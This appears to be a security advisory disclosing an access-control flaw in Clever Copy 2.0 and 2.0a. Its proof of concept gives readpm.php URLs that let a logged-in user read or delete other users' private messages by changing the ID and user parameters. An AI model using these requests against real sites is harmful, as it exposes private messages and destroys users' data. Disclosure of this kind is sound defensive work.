" <http://clevercopy.bestdirectbuy.com/> Clever Copy is a free, fully scalable web site portal and news posting system." Clever Copy contains a flaw that allows a Unauthorized read & delete Private Messages from other users.
Vulnerable Systems: * Clever Copy version 2.0 * Clever Copy version 2.0a
Authenticated users can directly access a page that will allow them access a private message of other users, in addition to being able to either read or delete these messages like they were their own.
Proof of Concept: In order to access private messages we first need to be logged on. He can they go to the following addresses: http://[victim]/readpm.php?op=read&ID=2&name=pruebas&user=waltrapass or http://[victim]/readpm.php?op=read&ID=2&user=waltrapass
Which will allow him to look at message ID 2 of the user waltrapass.
In the above URL you can modify parameters to any of the following values: op = read or del id = id of the message name = username that sent the private message (this is not necessary to view or delete a message) user = username the user that received the message
For example, to delete a message a URL such as this needs to be provided: http://[victim]/readpm.php?op=del&ID=2&name=pruebas&user=waltrapass or http://[victim]/readpm.php?op=del&ID=2&user=waltrapass
